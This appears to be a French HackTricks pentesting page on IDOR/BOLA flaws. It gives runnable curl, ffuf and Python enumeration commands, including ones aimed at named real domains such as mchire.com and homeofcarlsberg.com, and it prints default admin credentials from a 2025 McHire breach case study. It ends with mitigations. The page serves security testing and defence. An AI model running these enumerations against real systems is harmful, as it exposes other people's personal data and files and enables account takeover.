IDOR (Insecure Direct Object Reference)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaĂźt lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrĂŽlable par l’utilisateur qui est utilisĂ© directement pour accĂ©der Ă  un objet interne sans vĂ©rifier que l’appelant est autorisĂ© Ă  accĂ©der/modifier cet objet. Une exploitation rĂ©ussie permet normalement une Ă©lĂ©vation de privilĂšges horizontale ou verticale, comme la lecture ou la modification des donnĂ©es d’autres utilisateurs et, dans le pire des cas, la compromission complĂšte d’un compte ou l’exfiltration massive de donnĂ©es.


1. Identifying Potential IDORs

  1. Look for parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefer endpoints that read or update data (GET, PUT, PATCH, DELETE).
  2. Note when identifiers are sequential or predictable – if your ID is 64185742, then 64185741 probably exists.
  3. Explore hidden or alternate flows (e.g. “Paradox team members” link in login pages) that might expose extra APIs.
  4. Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.

Manipulation manuelle rapide (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

ÉnumĂ©ration automatisĂ©e (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

ÉnumĂ©ration des IDs de tĂ©lĂ©chargement prĂ©visibles (ffuf)

Les panels d’hĂ©bergement de fichiers authentifiĂ©s stockent souvent les mĂ©tadonnĂ©es par utilisateur dans une seule table files et exposent un endpoint de tĂ©lĂ©chargement tel que /download.php?id=<int>. Si le handler ne vĂ©rifie que l’existence de l’ID (et pas qu’il appartient Ă  l’utilisateur authentifiĂ©), vous pouvez balayer l’espace des entiers avec votre cookie de session valide et voler les backups/configs d’autres tenants :

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr supprime les 404-style templates afin que seuls les vrais hits restent (par ex., IDs 54/150 leaking full site backups and signing material).
  • Le mĂȘme workflow FFUF fonctionne avec Burp Intruder ou une boucle curl — veillez simplement Ă  rester authentifiĂ© en incrĂ©mentant les IDs.

Oracle de rĂ©ponses d’erreur pour l’énumĂ©ration user/file

Lorsqu’un download endpoint accepte Ă  la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>), des diffĂ©rences subtiles dans les messages d’erreur crĂ©ent souvent un oracle :

  • Username inexistant → “User not found”
  • Filename invalide mais extension valide → “File does not exist” (parfois liste aussi les fichiers disponibles)
  • Extension invalide → validation error

Avec n’importe quelle session authentifiĂ©e, vous pouvez fuzz le paramĂštre username tout en gardant un filename bĂ©nin et filtrer sur la chaĂźne “user not found” pour dĂ©couvrir des users valides :

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Une fois que des noms d’utilisateur valides sont identifiĂ©s, demandez directement des fichiers spĂ©cifiques (par ex., /view.php?username=amanda&file=privacy.odt). Ce schĂ©ma conduit souvent Ă  la divulgation non autorisĂ©e des documents d’autres utilisateurs et au credential leakage.


2. Étude de cas rĂ©elle – McHire Chatbot Platform (2025)

Lors d’une Ă©valuation du portail de recrutement McHire propulsĂ© par Paradox.ai, l’IDOR suivant a Ă©tĂ© dĂ©couvert :

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

En diminuant lead_id, le testeur a rĂ©cupĂ©rĂ© les full PII de candidats arbitraires (name, e-mail, phone, address, shift preferences) ainsi qu’un JWT consommateur qui a permis le session hijacking. L’énumĂ©ration de la plage 1 – 64,185,742 a exposĂ© environ 64 millions d’enregistrements.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

CombinĂ©e avec default admin credentials (123456:123456) qui donnaient accĂšs au compte de test, la vulnĂ©rabilitĂ© a entraĂźnĂ© une violation de donnĂ©es critique Ă  l’échelle de l’entreprise.

Étude de cas – Codes QR de bracelet comme weak bearer tokens (2025–2026)

Flux : Les visiteurs de l’exposition recevaient des bracelets avec codes QR ; en scannant https://homeofcarlsberg.com/memories/ le navigateur rĂ©cupĂ©rait le printed wristband ID, l’hex-encodait, et appelait un backend cloudfunctions.net pour rĂ©cupĂ©rer les mĂ©dias stockĂ©s (photos/vidĂ©os + noms). Il n’y avait aucun session binding ni authentification utilisateur — la connaissance de l’ID = autorisation.

PredictabilitĂ© : Les IDs de bracelet suivaient un motif court tel que C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). L’espace Ă©tait estimĂ© Ă  ~26M de combinaisons, trivial Ă  Ă©puiser en ligne.

Exploitation workflow with Burp Intruder :

  1. Payload generation : GĂ©nĂ©rer des IDs candidats (p.ex. [A-Z]-###-###). Utiliser une attaque Burp Intruder Pitchfork ou Cluster Bomb avec des positions pour la lettre et les chiffres. Ajouter une payload processing rule → Add prefix/suffix → payload encoding: ASCII hex afin que chaque requĂȘte transmette la chaĂźne hex attendue par le backend.
  2. Response grep : Marquer dans Intruder un grep-match pour des marqueurs présents uniquement dans les réponses valides (p.ex. media URLs/JSON fields). Les IDs invalides retournaient typiquement un tableau vide/404.
  3. Throughput measurement : ~1,000,000 d’IDs ont Ă©tĂ© testĂ©s en ~2 heures depuis un laptop (~139 req/s). À ce rythme, l’ensemble de l’espace de clĂ©s (~26M) tomberait en ~52 heures. Le run d’exemple a dĂ©jĂ  exposĂ© ~500 bracelets valides (vidĂ©os + noms complets).
  4. Rate-limiting verification : AprĂšs que le vendor ait prĂ©tendu du throttling, relancer la mĂȘme config Intruder. Un dĂ©bit/taux de hits identique a prouvĂ© que le contrĂŽle Ă©tait absent/inefficace ; l’énumĂ©ration a continuĂ© sans entrave.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Leçon : Encoding (ASCII→hex/Base64) n’ajoute pas d’entropie ; les IDs courts deviennent des bearer tokens qui sont Ă©numĂ©rables malgrĂ© un encodage cosmĂ©tique. Sans autorisation par utilisateur + secrets Ă  haute entropie, media/PII peuvent ĂȘtre collectĂ©s en masse mĂȘme si “rate limiting” est revendiquĂ©.


3. Impact d’IDOR / BOLA

  • Escalade horizontale – lire/mettre Ă  jour/supprimer les donnĂ©es d’autres utilisateurs.
  • Escalade verticale – un utilisateur faiblement privilĂ©giĂ© obtient des fonctionnalitĂ©s rĂ©servĂ©es aux admins.
  • Violation massive de donnĂ©es si les identifiants sont sĂ©quentiels (e.g., applicant IDs, invoices).
  • Prise de contrĂŽle de compte en volant des tokens ou en rĂ©initialisant les mots de passe d’autres utilisateurs.

4. Mesures d’attĂ©nuation & bonnes pratiques

  1. Appliquer l’autorisation au niveau des objets sur chaque requĂȘte (user_id == session.user).
  2. Préférer des identifiants indirects et non devinables (UUIDv4, ULID) plutÎt que des IDs auto-incrémentés.
  3. Effectuer l’autorisation cĂŽtĂ© serveur, ne jamais se fier aux champs de formulaire cachĂ©s ou aux contrĂŽles UI.
  4. Implémenter des vérifications RBAC / ABAC dans un middleware central.
  5. Ajouter rate-limiting & logging pour dĂ©tecter l’énumĂ©ration des IDs.
  6. Tester la sécurité de chaque nouvel endpoint (unit, integration, and DAST).

5. Outils

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks